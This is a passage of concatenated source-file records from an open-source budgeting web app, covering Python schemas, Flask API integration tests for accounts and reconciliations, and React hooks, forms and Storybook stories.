"5f221ef74c78a6c8a58f3b7f5d49463bcce82bb7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1080, "license_type": "permissive", "max_line_length": 85, "num_lines": 28, "path": "/backend/underbudget/schemas/account.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Account schema \"\"\"\nfrom marshmallow import Schema, fields, validate\n\n\nclass AccountSchema(Schema):\n \"\"\" Account schema \"\"\"\n\n id = fields.Integer(dump_only=True)\n category_id = fields.Integer(data_key=\"categoryId\")\n name = fields.String(required=True, validate=validate.Length(min=1))\n institution = fields.String(missing=\"\")\n account_number = fields.String(data_key=\"accountNumber\", missing=\"\")\n archived = fields.Boolean(missing=False)\n external_id = fields.String(data_key=\"externalId\", missing=\"\")\n created = fields.DateTime(dump_only=True)\n last_updated = fields.DateTime(data_key=\"lastUpdated\", dump_only=True)\n\n\nclass AccountCategorySchema(Schema):\n \"\"\" Account category schema \"\"\"\n\n id = fields.Integer(dump_only=True)\n name = fields.String(required=True, validate=validate.Length(min=1))\n accounts = fields.List(\n fields.Nested(AccountSchema, only=[\"id\", \"name\", \"archived\"]), dump_only=True\n )\n created = fields.DateTime(dump_only=True)\n last_updated = fields.DateTime(data_key=\"lastUpdated\", dump_only=True)\n" }, { "alpha_fraction": 0.4588683843612671, "alphanum_fraction": 0.5053311586380005, "avg_line_length": 34.1065559387207, "blob_id": "680d115f1234a557551e735923864bc0d08afd7f", "content_id": "c94234250203f5b6f97d5713c7425a5615ea46a4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12849, "license_type": "permissive", "max_line_length": 88, "num_lines": 366, "path": "/backend/underbudget/tests/test_reconciliations.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Integration tests for reconciliation APIs \"\"\"\nfrom parameterized import parameterized\n\nfrom underbudget.tests.base import BaseTestCase\n\n\nclass ReconciliationsTestCase(BaseTestCase):\n \"\"\" Integration tests for reconciliation APIs \"\"\"\n\n # pylint: disable=too-many-arguments\n def create_transaction(\n self,\n recorded_date,\n payee,\n ledger_id,\n account_id,\n envelope_id,\n amount,\n ):\n \"\"\" Create a transaction using the REST API \"\"\"\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/transactions\",\n json={\n \"recordedDate\": recorded_date,\n \"payee\": payee,\n \"accountTransactions\": [\n {\n \"accountId\": account_id,\n \"amount\": amount,\n \"memo\": \"\",\n \"cleared\": False,\n },\n ],\n \"envelopeTransactions\": [\n {\n \"envelopeId\": envelope_id,\n \"amount\": amount,\n \"memo\": \"\",\n },\n ],\n },\n )\n assert resp.status_code == 201\n\n def create_transaction_history(self):\n \"\"\" Create a set of transactions with two accounts and two envelopes \"\"\"\n # pylint: disable=invalid-name\n l = self.create_ledger()\n acct_cat_id = self.create_account_category(l)\n a1 = self.create_account(acct_cat_id)\n a2 = self.create_account(acct_cat_id)\n env_cat_id = self.create_envelope_category(l)\n e1 = self.create_envelope(env_cat_id)\n e2 = self.create_envelope(env_cat_id)\n\n transactions = [\n [\"2021-04-01\", \"Vendor A\", l, a1, e1, 10000],\n [\"2021-04-02\", \"Vendor B\", l, a2, e1, -1000],\n [\"2021-04-02\", \"Vendor C\", l, a1, e2, -1000],\n [\"2021-04-01\", \"Vendor A\", l, a1, e1, -1500],\n [\"2021-04-03\", \"Vendor B\", l, a2, e2, -1000],\n [\"2021-04-04\", \"Vendor C\", l, a1, e1, -1000],\n [\"2021-04-06\", \"Vendor C\", l, a2, e1, 10000],\n [\"2021-04-06\", \"Vendor B\", l, a1, e2, -1000],\n ]\n\n for trn in transactions:\n self.create_transaction(*trn)\n\n return {\n \"ledger_id\": l,\n \"acct_id_1\": a1,\n \"acct_id_2\": a2,\n \"env_id_1\": e1,\n \"env_id_2\": e2,\n }\n\n @parameterized.expand([(\"not-an-id\",), (999,)])\n def test_reconciliation_requires_valid_account(self, account_id=None):\n resp = self.client.post(\n f\"/api/accounts/{account_id}/reconciliations\",\n json={\n \"beginningBalance\": 0,\n \"beginningDate\": \"2021-04-01\",\n \"endingBalance\": 0,\n \"endingDate\": \"2021-04-30\",\n \"transactionIds\": [],\n },\n )\n assert resp.status_code == 404\n\n @parameterized.expand(\n [\n (400, \"BeginningBalance\", 0),\n (400, \"beginningBalance\", \"\"),\n (400, \"beginningBalance\", None),\n (201, \"beginningBalance\", 0),\n ]\n )\n def test_reconciliation_requires_valid_beginning_balance(self, code, key, value):\n ledger_id = self.create_ledger()\n acct_cat_id = self.create_account_category(ledger_id)\n acct_id = self.create_account(acct_cat_id)\n resp = self.client.post(\n f\"/api/accounts/{acct_id}/reconciliations\",\n json={\n key: value,\n \"beginningDate\": \"2021-04-01\",\n \"endingBalance\": 0,\n \"endingDate\": \"2021-04-30\",\n \"transactionIds\": [],\n },\n )\n assert resp.status_code == code\n\n @parameterized.expand(\n [\n (400, \"BeginningDate\", \"2021-01-24\"),\n (400, \"beginningDate\", \"\"),\n (400, \"beginningDate\", None),\n (400, \"beginningDate\", \"yesterday\"),\n (400, \"beginningDate\", \"01/24/2021\"),\n (400, \"beginningDate\", \"2021-01-24T00:00:00\"),\n (400, \"beginningDate\", \"2021-05-01\"),\n (201, \"beginningDate\", \"2021-04-01\"),\n ]\n )\n def test_transaction_requires_valid_beginning_date(self, code, key, value):\n ledger_id = self.create_ledger()\n acct_cat_id = self.create_account_category(ledger_id)\n acct_id = self.create_account(acct_cat_id)\n resp = self.client.post(\n f\"/api/accounts/{acct_id}/reconciliations\",\n json={\n \"beginningBalance\": 0,\n key: value,\n \"endingBalance\": 0,\n \"endingDate\": \"2021-04-30\",\n \"transactionIds\": [],\n },\n )\n assert resp.status_code == code\n\n @parameterized.expand(\n [\n (400, \"EndingBalance\", 0),\n (400, \"endingBalance\", \"\"),\n (400, \"endingBalance\", None),\n (201, \"endingBalance\", 0),\n ]\n )\n def test_reconciliation_requires_valid_ending_balance(self, code, key, value):\n ledger_id = self.create_ledger()\n acct_cat_id = self.create_account_category(ledger_id)\n acct_id = self.create_account(acct_cat_id)\n resp = self.client.post(\n f\"/api/accounts/{acct_id}/reconciliations\",\n json={\n \"beginningBalance\": 0,\n \"beginningDate\": \"2021-04-01\",\n key: value,\n \"endingDate\": \"2021-04-30\",\n \"transactionIds\": [],\n },\n )\n assert resp.status_code == code\n\n @parameterized.expand(\n [\n (400, \"EndingDate\", \"2021-01-24\"),\n (400, \"endingDate\", \"\"),\n (400, \"endingDate\", None),\n (400, \"endingDate\", \"yesterday\"),\n (400, \"endingDate\", \"01/24/2021\"),\n (400, \"endingDate\", \"2021-01-24T00:00:00\"),\n (400, \"endingDate\", \"2021-03-31\"),\n (201, \"endingDate\", \"2021-04-30\"),\n ]\n )\n def test_transaction_requires_valid_ending_date(self, code, key, value):\n ledger_id = self.create_ledger()\n acct_cat_id = self.create_account_category(ledger_id)\n acct_id = self.create_account(acct_cat_id)\n resp = self.client.post(\n f\"/api/accounts/{acct_id}/reconciliations\",\n json={\n \"beginningBalance\": 0,\n \"beginningDate\": \"2021-04-01\",\n \"endingBalance\": 0,\n key: value,\n \"transactionIds\": [],\n },\n )\n assert resp.status_code == code\n\n @parameterized.expand(\n [\n (400, \"TransactionIds\", []),\n (400, \"transactionIds\", \"\"),\n (400, \"transactionIds\", None),\n (404, \"transactionIds\", [999]),\n (201, \"transactionIds\", []),\n (201, \"transactionIds\", \"auto\"),\n ]\n )\n def test_transaction_requires_valid_transaction_ids(self, code, key, value):\n if value == \"auto\":\n ids = self.create_transaction_history()\n acct_id = ids[\"acct_id_1\"]\n\n resp = self.client.get(f\"/api/accounts/{acct_id}/unreconciled-transactions\")\n assert resp.status_code == 200\n value = [trn[\"id\"] for trn in resp.json.get(\"transactions\")]\n else:\n ledger_id = self.create_ledger()\n acct_cat_id = self.create_account_category(ledger_id)\n acct_id = self.create_account(acct_cat_id)\n\n resp = self.client.post(\n f\"/api/accounts/{acct_id}/reconciliations\",\n json={\n \"beginningBalance\": 0,\n \"beginningDate\": \"2021-04-01\",\n \"endingBalance\": 0,\n \"endingDate\": \"2021-04-30\",\n key: value,\n },\n )\n assert resp.status_code == code\n\n def test_reconciliation_not_found(self):\n ledger_id = self.create_ledger()\n acct_cat_id = self.create_account_category(ledger_id)\n acct_id = self.create_account(acct_cat_id)\n self._test_crud_methods_against_non_existent_resource(\n f\"/api/accounts/{acct_id}/reconciliations\",\n {\n \"beginningBalance\": 0,\n \"beginningDate\": \"2021-04-01\",\n \"endingBalance\": 0,\n \"endingDate\": \"2021-04-30\",\n \"transactionIds\": [],\n },\n )\n\n def test_reconciliation_is_not_created_when_transactions_are_not_found(self):\n ids = self.create_transaction_history()\n acct_id = ids[\"acct_id_1\"]\n\n resp = self.client.get(\n f\"/api/accounts/{acct_id}/unreconciled-transactions?size=3\"\n )\n assert resp.status_code == 200\n trn_ids = [trn[\"id\"] for trn in resp.json.get(\"transactions\")]\n\n resp = self.client.post(\n f\"/api/accounts/{acct_id}/reconciliations\",\n json={\n \"beginningBalance\": 0,\n \"beginningDate\": \"2021-04-11\",\n \"endingBalance\": 0,\n \"endingDate\": \"2021-04-30\",\n \"transactionIds\": [999] + trn_ids,\n },\n )\n assert resp.status_code == 404\n\n resp = self.client.get(f\"/api/accounts/{acct_id}/reconciliations\")\n assert resp.status_code == 200\n assert len(resp.json.get(\"reconciliations\")) == 0\n\n resp = self.client.post(\n f\"/api/accounts/{acct_id}/reconciliations\",\n json={\n \"beginningBalance\": 0,\n \"beginningDate\": \"2021-04-01\",\n \"endingBalance\": 0,\n \"endingDate\": \"2021-04-30\",\n \"transactionIds\": trn_ids,\n },\n )\n assert resp.status_code == 201\n\n resp = self.client.get(f\"/api/accounts/{acct_id}/reconciliations\")\n assert resp.status_code == 200\n assert len(resp.json.get(\"reconciliations\")) == 1\n\n def test_reconciliation_deletion(self):\n ids = self.create_transaction_history()\n acct_id = ids[\"acct_id_1\"]\n\n resp = self.client.get(\n f\"/api/accounts/{acct_id}/unreconciled-transactions?size=3\"\n )\n assert resp.status_code == 200\n\n resp = self.client.post(\n f\"/api/accounts/{acct_id}/reconciliations\",\n json={\n \"beginningBalance\": 0,\n \"beginningDate\": \"2021-04-01\",\n \"endingBalance\": 0,\n \"endingDate\": \"2021-04-30\",\n \"transactionIds\": [trn[\"id\"] for trn in resp.json.get(\"transactions\")],\n },\n )\n assert resp.status_code == 201\n reconciliation_id = resp.json.get(\"id\")\n\n resp = self.client.get(\n f\"/api/reconciliations/{reconciliation_id}/transactions?size=20\"\n )\n assert resp.status_code == 200\n assert len(resp.json.get(\"transactions\")) == 3\n\n resp = self.client.get(\n f\"/api/accounts/{acct_id}/unreconciled-transactions?size=10\"\n )\n assert resp.status_code == 200\n assert len(resp.json.get(\"transactions\")) == 2\n\n resp = self.client.delete(f\"/api/reconciliations/{reconciliation_id}\")\n assert resp.status_code == 204\n\n resp = self.client.get(\n f\"/api/accounts/{acct_id}/unreconciled-transactions?size=10\"\n )\n assert resp.status_code == 200\n assert len(resp.json.get(\"transactions\")) == 5\n\n def test_get_last_reconciliation(self):\n ledger_id = self.create_ledger()\n acct_cat_id = self.create_account_category(ledger_id)\n acct_id = self.create_account(acct_cat_id)\n\n resp = self.client.get(f\"/api/accounts/{acct_id}/reconciliations/last\")\n assert resp.status_code == 404\n\n resp = self.client.post(\n f\"/api/accounts/{acct_id}/reconciliations\",\n json={\n \"beginningBalance\": 200,\n \"beginningDate\": \"2021-05-01\",\n \"endingBalance\": 300,\n \"endingDate\": \"2021-05-31\",\n \"transactionIds\": [],\n },\n )\n assert resp.status_code == 201\n reconciliation_id = resp.json.get(\"id\")\n\n resp = self.client.post(\n f\"/api/accounts/{acct_id}/reconciliations\",\n json={\n \"beginningBalance\": 100,\n \"beginningDate\": \"2021-04-01\",\n \"endingBalance\": 200,\n \"endingDate\": \"2021-04-30\",\n \"transactionIds\": [],\n },\n )\n assert resp.status_code == 201\n\n resp = self.client.get(f\"/api/accounts/{acct_id}/reconciliations/last\")\n assert resp.status_code == 200\n assert reconciliation_id == resp.json.get(\"id\")\n" }, { "alpha_fraction": 0.6884307265281677, "alphanum_fraction": 0.6884307265281677, "avg_line_length": 28.100000381469727, "blob_id": "f23d78bed0804b74ef267837651d3e422ef3b2c2", "content_id": "b66512ba296cb63e39425eb300d9f1a6e5cdbaa1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 873, "license_type": "permissive", "max_line_length": 88, "num_lines": 30, "path": "/webapp/src/features/ledgers/hooks/useLedgerActions.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import useConfirmation from 'common/hooks/useConfirmation';\nimport useNavigateKeepingSearch from 'common/hooks/useNavigateKeepingSearch';\nimport useMobile from 'common/hooks/useMobile';\nimport useDeleteLedger from './useDeleteLedger';\n\n// eslint-disable-next-line import/prefer-default-export\nexport function useLedgerActions(ledger) {\n const navigate = useNavigateKeepingSearch();\n const mobile = useMobile();\n const confirm = useConfirmation();\n\n const handleModify = () => navigate(`modify/${ledger.id}`);\n\n const { mutate } = useDeleteLedger();\n const handleDelete = () =>\n confirm({\n message: [\n `Delete ledger ${ledger.name}?`,\n 'This action is permanent and will delete all transaction data in this ledger.',\n ],\n }).then(() => {\n mutate(ledger.id);\n });\n\n return {\n handleDelete,\n handleModify,\n mobile,\n };\n}\n" }, { "alpha_fraction": 0.6287744045257568, "alphanum_fraction": 0.6376554369926453, "avg_line_length": 31.171428680419922, "blob_id": "170746c77f7414eda45a3304d5c7c4be7bbc391b", "content_id": "914eeb38cf77ee97e8502936cc7e6d7cbddc6daf", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1126, "license_type": "permissive", "max_line_length": 73, "num_lines": 35, "path": "/webapp/src/features/transactions/components/TransactionForm/useAutoType.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { useFormikContext } from 'formik';\nimport React from 'react';\n\nimport { testIfType, typesByGroup } from '../../utils/transaction-types';\n\nexport default function useAutoType() {\n const {\n values: { accountTransactions, envelopeTransactions, type },\n setFieldValue,\n } = useFormikContext();\n\n React.useEffect(() => {\n const accountSum = accountTransactions\n ? accountTransactions.reduce((sum, trn) => sum + trn.amount, 0)\n : 0;\n\n if (accountSum > 0) {\n if (!testIfType.isIncome(type)) {\n setFieldValue('type', typesByGroup.income[0]);\n }\n } else if (accountSum < 0) {\n if (!testIfType.isExpense(type)) {\n setFieldValue('type', typesByGroup.expense[0]);\n }\n } else if (accountTransactions.length === 0) {\n if (!testIfType.isAllocation(type)) {\n setFieldValue('type', typesByGroup.allocation[0]);\n }\n } else if (envelopeTransactions.length === 0) {\n if (!testIfType.isTransfer(type)) {\n setFieldValue('type', typesByGroup.transfer[0]);\n }\n }\n }, [accountTransactions, envelopeTransactions, setFieldValue, type]);\n}\n" }, { "alpha_fraction": 0.7210481762886047, "alphanum_fraction": 0.7210481762886047, "avg_line_length": 30.13157844543457, "blob_id": "6cf30276cf1644bdf0e65bb8a6d11c89ed2e2612", "content_id": "21a56a9cbb43494284a15e40d3535f853c136b70", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1183, "license_type": "permissive", "max_line_length": 71, "num_lines": 38, "path": "/webapp/src/features/reconciliations/components/CreateReconciliationForm.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { Form, Formik } from 'formik';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nimport usePromptToLeave from 'common/hooks/usePromptToLeave';\nimport routePropType from 'common/utils/route-prop-type';\nimport useCreateReconciliation from '../hooks/useCreateReconciliation';\nimport ReconciliationForm from './ReconciliationForm';\n\nconst CreateReconciliationForm = ({ accountId, parentRoute }) => {\n const navigate = usePromptToLeave();\n const { mutate } = useCreateReconciliation({ accountId });\n const handleSubmit = (values, { setSubmitting }) =>\n mutate(values, {\n onSettled: () => setSubmitting(false),\n onSuccess: () => navigate(parentRoute),\n });\n\n return (\n <Formik\n initialValues={ReconciliationForm.initialValues}\n onSubmit={handleSubmit}\n validate={ReconciliationForm.validate}\n validationSchema={ReconciliationForm.validationSchema}\n >\n <Form>\n <ReconciliationForm accountId={accountId} />\n </Form>\n </Formik>\n );\n};\n\nCreateReconciliationForm.propTypes = {\n accountId: PropTypes.number.isRequired,\n parentRoute: routePropType.isRequired,\n};\n\nexport default CreateReconciliationForm;\n" }, { "alpha_fraction": 0.8035087585449219, "alphanum_fraction": 0.8035087585449219, "avg_line_length": 27.5, "blob_id": "2b5bbee1becfb41703d2c5492cb9a2e50a5c99d3", "content_id": "93c291106c95b0bab3d258f9d9c8261a222409f0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 285, "license_type": "permissive", "max_line_length": 59, "num_lines": 10, "path": "/webapp/src/features/accounts/utils/account-category-prop-types.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import PropTypes from 'prop-types';\n\nimport AccountPropTypes from './account-prop-types';\n\nconst accountCategoryPropTypes = PropTypes.shape({\n accounts: PropTypes.arrayOf(AccountPropTypes).isRequired,\n name: PropTypes.string.isRequired,\n});\n\nexport default accountCategoryPropTypes;\n" }, { "alpha_fraction": 0.6200814247131348, "alphanum_fraction": 0.6295793652534485, "avg_line_length": 28.479999542236328, "blob_id": "a70e593c0146704da9623b9ec8b2e4d5d9fe692d", "content_id": "4106c09a6746fad0dc637603fbb7a3cbd31b2a06", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 737, "license_type": "permissive", "max_line_length": 79, "num_lines": 25, "path": "/backend/underbudget/views/health.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Application health view \"\"\"\nfrom flask import Flask\nfrom flask.views import MethodView\nfrom sqlalchemy.exc import SQLAlchemyError\n\nfrom underbudget.database import db\n\n\nclass HealthView(MethodView):\n \"\"\" Application health view \"\"\"\n\n @classmethod\n def register(cls, app: Flask):\n \"\"\" Register routes for this view \"\"\"\n view = cls.as_view(\"health\")\n app.add_url_rule(\"/health\", view_func=view, methods=[\"GET\"])\n\n @staticmethod\n def get():\n \"\"\" Performs health checks and reports the health status of the app \"\"\"\n try:\n db.session.execute(\"SELECT 1\")\n return {\"msg\": \"Ready\"}, 200\n except SQLAlchemyError:\n return {\"msg\": \"Database error\"}, 503\n" }, { "alpha_fraction": 0.7431530356407166, "alphanum_fraction": 0.744303822517395, "avg_line_length": 32.68217086791992, "blob_id": "fe2c3bad207ae61fb7568f53ae12ab50d68670eb", "content_id": "17ea5e1823da726df2869b384d3ee0b728c82674", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 4345, "license_type": "permissive", "max_line_length": 95, "num_lines": 129, "path": "/webapp/src/common/components/AppBar/AppBar.stories.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { action } from '@storybook/addon-actions';\nimport AddIcon from '@material-ui/icons/Add';\nimport EditIcon from '@material-ui/icons/Edit';\nimport React from 'react';\n\nimport { DrawerContextProvider } from '../../contexts/drawer';\nimport ActionPageAppBar from './ActionPageAppBar';\nimport AppBar from './AppBar';\nimport DrawerIconButton from './DrawerIconButton';\nimport NavBackIconButton from './NavBackIconButton';\nimport NavCloseIconButton from './NavCloseIconButton';\nimport RightIconButtons from './RightIconButtons';\n\nexport default {\n title: 'common/AppBar',\n component: AppBar,\n decorators: [(story) => <DrawerContextProvider>{story()}</DrawerContextProvider>],\n};\n\nconst Template = (args) => <AppBar {...args} />;\n\nexport const WithDrawerIconButton = Template.bind({});\nWithDrawerIconButton.args = {\n leftButton: <DrawerIconButton />,\n};\n\nexport const WithNavBackIconButton = Template.bind({});\nWithNavBackIconButton.args = {\n leftButton: <NavBackIconButton dest='prev-page' />,\n};\n\nexport const WithNavCloseIconButton = Template.bind({});\nWithNavCloseIconButton.args = {\n leftButton: <NavCloseIconButton dest='parent-page' />,\n};\n\nexport const ActionPage = () => <ActionPageAppBar back='parent-page' />;\n\nlet actionCount = 0;\nconst createAction = (text) => {\n actionCount += 1;\n return {\n 'aria-label': `Action ${text}`,\n icon: actionCount % 2 === 0 ? <AddIcon /> : <EditIcon />,\n onClick: action(text),\n text,\n };\n};\n\nexport const WithOneRightIconButton = Template.bind({});\nWithOneRightIconButton.args = {\n leftButton: <NavBackIconButton dest='prev-page' />,\n rightButtons: <RightIconButtons primaryActions={createAction('do one')} />,\n};\n\nexport const WithOneRightIconButtonOnMobile = Template.bind({});\nWithOneRightIconButtonOnMobile.args = WithOneRightIconButton.args;\nWithOneRightIconButtonOnMobile.parameters = {\n viewport: { defaultViewport: 'mobile1' },\n};\n\nexport const WithTwoRightIconButtonsOnMobile = Template.bind({});\nWithTwoRightIconButtonsOnMobile.args = {\n leftButton: <NavBackIconButton dest='prev-page' />,\n rightButtons: (\n <RightIconButtons primaryActions={[createAction('do first'), createAction('do second')]} />\n ),\n};\nWithTwoRightIconButtonsOnMobile.parameters = WithOneRightIconButtonOnMobile.parameters;\n\nexport const WithThreeRightIconButtons = Template.bind({});\nWithThreeRightIconButtons.args = {\n leftButton: <NavBackIconButton dest='prev-page' />,\n rightButtons: (\n <RightIconButtons\n primaryActions={[\n createAction('do first'),\n createAction('do second'),\n createAction('do third'),\n ]}\n />\n ),\n};\n\nexport const WithThreeRightIconButtonsOnMobile = Template.bind({});\nWithThreeRightIconButtonsOnMobile.args = WithThreeRightIconButtons.args;\nWithThreeRightIconButtonsOnMobile.parameters = WithOneRightIconButtonOnMobile.parameters;\n\nexport const WithSecondaryRightIconButtons = Template.bind({});\nWithSecondaryRightIconButtons.args = {\n leftButton: <NavBackIconButton dest='prev-page' />,\n rightButtons: (\n <RightIconButtons\n primaryActions={[\n createAction('do first'),\n createAction('do second'),\n createAction('do third'),\n ]}\n secondaryActions={[createAction('do fourth'), createAction('do fifth')]}\n />\n ),\n};\n\nexport const WithSecondaryRightIconButtonsOnMobile = Template.bind({});\nWithSecondaryRightIconButtonsOnMobile.args = WithSecondaryRightIconButtons.args;\nWithSecondaryRightIconButtonsOnMobile.parameters = WithOneRightIconButtonOnMobile.parameters;\n\nexport const WithOnePrimaryRightIconButton = Template.bind({});\nWithOnePrimaryRightIconButton.args = {\n leftButton: <NavBackIconButton dest='prev-page' />,\n rightButtons: (\n <RightIconButtons\n primaryActions={[createAction('do first')]}\n secondaryActions={[createAction('do second'), createAction('do third')]}\n />\n ),\n};\n\nexport const WithOnePrimaryRightIconButtonOnMobile = Template.bind({});\nWithOnePrimaryRightIconButtonOnMobile.args = WithOnePrimaryRightIconButton.args;\nWithOnePrimaryRightIconButtonOnMobile.parameters = WithOneRightIconButtonOnMobile.parameters;\n\nexport const Prominent = Template.bind({});\nProminent.args = {\n ...WithOneRightIconButton.args,\n prominent: true,\n title: 'A rather long title for mobile',\n};\nProminent.parameters = WithOneRightIconButtonOnMobile.parameters;\n" }, { "alpha_fraction": 0.6441717743873596, "alphanum_fraction": 0.6441717743873596, "avg_line_length": 30.047618865966797, "blob_id": "e2a92ed2cb428c6fcb48d0b8dab43ae756d8b72b", "content_id": "87cd3a1e22e1a3532dbb3acb9c29c41c02246ee2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 652, "license_type": "permissive", "max_line_length": 85, "num_lines": 21, "path": "/webapp/src/features/budgets/hooks/useModifyBudget.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import axios from 'axios';\nimport toString from 'lodash/toString';\n\nimport useErrorMessage from 'common/hooks/useErrorMessage';\nimport useMutation from 'common/hooks/useMutation';\nimport useSelectedLedger from 'common/hooks/useSelectedLedger';\n\nexport default (opts) => {\n const ledger = useSelectedLedger();\n return useMutation(\n ({ created, lastUpdated, id, ...data }) => axios.put(`/api/budgets/${id}`, data),\n {\n createErrorMessage: useErrorMessage({ request: 'Unable to modify budget' }),\n refetchQueries: (_, { id }) => [\n ['budget', toString(id)],\n ['budgets', { ledger }],\n ],\n ...opts,\n },\n );\n};\n" }, { "alpha_fraction": 0.5602173209190369, "alphanum_fraction": 0.5777685046195984, "avg_line_length": 37.973941802978516, "blob_id": "51841e6b451c46b30d0fc571a527a08f3e5c6d60", "content_id": "6fd0252f55f8aa65cd59620545a732ae0efb8648", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11965, "license_type": "permissive", "max_line_length": 88, "num_lines": 307, "path": "/backend/underbudget/tests/test_accounts.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Integration tests for account APIs \"\"\"\nimport json\nfrom jsonpath_ng.ext import parse\nfrom parameterized import parameterized\n\nfrom underbudget.tests.base import BaseTestCase\n\n\nclass AccountsTestCase(BaseTestCase):\n \"\"\" Integration tests for account APIs \"\"\"\n\n @parameterized.expand([(\"not-an-id\",), (999,)])\n def test_account_category_requires_valid_ledger(self, ledger_id=None):\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/account-categories\",\n json={\"name\": \"Account Category\"},\n )\n assert resp.status_code == 404\n\n @parameterized.expand(\n [\n (\"Name\", \"Account Category\"),\n (\"name\", \"\"),\n (\"name\", None),\n ]\n )\n def test_account_category_requires_valid_name(self, key, value):\n ledger_id = self.create_ledger()\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/account-categories\",\n json={key: value},\n )\n assert resp.status_code == 400\n\n def test_account_category_not_found(self):\n self._test_crud_methods_against_non_existent_resource(\n \"/api/account-categories\", {\"name\": \"Account Category\"}\n )\n\n def test_account_category_is_audited(self):\n ledger_id = self.create_ledger()\n self._test_resource_is_audited(\n f\"/api/ledgers/{ledger_id}/account-categories\",\n \"/api/account-categories\",\n {\"name\": \"Account Category\"},\n )\n\n def test_account_category_modification(self):\n ledger_id = self.create_ledger()\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/account-categories\",\n json={\"name\": \"Original Name\"},\n )\n assert resp.status_code == 201\n category_id = json.loads(resp.data).get(\"id\")\n\n resp = self.client.get(f\"/api/account-categories/{category_id}\")\n assert resp.status_code == 200\n body = json.loads(resp.data)\n assert body.get(\"name\") == \"Original Name\"\n\n resp = self.client.put(\n f\"/api/account-categories/{category_id}\", json={\"name\": \"Modified Name\"}\n )\n assert resp.status_code == 200\n\n resp = self.client.get(f\"/api/account-categories/{category_id}\")\n assert resp.status_code == 200\n body = json.loads(resp.data)\n assert body.get(\"name\") == \"Modified Name\"\n\n def test_account_category_deletion(self):\n ledger_id = self.create_ledger()\n category_id = self.create_account_category(ledger_id)\n assert (\n self.client.get(f\"/api/account-categories/{category_id}\").status_code == 200\n )\n assert (\n self.client.delete(f\"/api/account-categories/{category_id}\").status_code\n == 204\n )\n assert (\n self.client.get(f\"/api/account-categories/{category_id}\").status_code == 404\n )\n\n @parameterized.expand([(\"not-an-id\",), (999,)])\n def test_account_requires_valid_category(self, category_id):\n resp = self.client.post(\n f\"/api/account-categories/{category_id}/accounts\", json={\"name\": \"Account\"}\n )\n assert resp.status_code == 404\n\n @parameterized.expand(\n [\n (\"Name\", \"Account\"),\n (\"name\", \"\"),\n (\"name\", None),\n ]\n )\n def test_account_requires_valid_name(self, key, value):\n ledger_id = self.create_ledger()\n category_id = self.create_account_category(ledger_id)\n resp = self.client.post(\n f\"/api/account-categories/{category_id}/accounts\", json={key: value}\n )\n assert resp.status_code == 400\n\n @parameterized.expand(\n [\n (\"institution\",),\n (\"accountNumber\",),\n (\"archived\",),\n (\"externalId\",),\n ]\n )\n def test_account_requires_non_null_optional_values(self, key):\n ledger_id = self.create_ledger()\n category_id = self.create_account_category(ledger_id)\n resp = self.client.post(\n f\"/api/account-categories/{category_id}/accounts\",\n json={\"name\": \"Account\", key: None},\n )\n assert resp.status_code == 400\n\n def test_account_not_found(self):\n self._test_crud_methods_against_non_existent_resource(\n \"/api/accounts\",\n {\"name\": \"Account\"},\n )\n\n def test_account_is_audited(self):\n ledger_id = self.create_ledger()\n category_id = self.create_account_category(ledger_id)\n self._test_resource_is_audited(\n f\"/api/account-categories/{category_id}/accounts\",\n \"/api/accounts\",\n {\"categoryId\": category_id, \"name\": \"Account\"},\n )\n\n def test_account_modification(self):\n ledger_id = self.create_ledger()\n category_id = self.create_account_category(ledger_id)\n resp = self.client.post(\n f\"/api/account-categories/{category_id}/accounts\",\n json={\"name\": \"Original Name\"},\n )\n assert resp.status_code == 201\n account_id = json.loads(resp.data).get(\"id\")\n\n resp = self.client.get(f\"/api/accounts/{account_id}\")\n assert resp.status_code == 200\n body = json.loads(resp.data)\n assert body.get(\"name\") == \"Original Name\"\n assert body.get(\"institution\") == \"\"\n assert body.get(\"accountNumber\") == \"\"\n assert not body.get(\"archived\")\n assert body.get(\"externalId\") == \"\"\n\n resp = self.client.put(\n f\"/api/accounts/{account_id}\",\n json={\n \"categoryId\": category_id,\n \"name\": \"Modified Name\",\n \"institution\": \"Bank Name\",\n \"accountNumber\": \"8675309\",\n \"archived\": True,\n \"externalId\": \"tk-421\",\n },\n )\n assert resp.status_code == 200\n\n resp = self.client.get(f\"/api/accounts/{account_id}\")\n assert resp.status_code == 200\n body = json.loads(resp.data)\n assert body.get(\"name\") == \"Modified Name\"\n assert body.get(\"institution\") == \"Bank Name\"\n assert body.get(\"accountNumber\") == \"8675309\"\n assert body.get(\"archived\")\n assert body.get(\"externalId\") == \"tk-421\"\n\n def test_account_deletion(self):\n ledger_id = 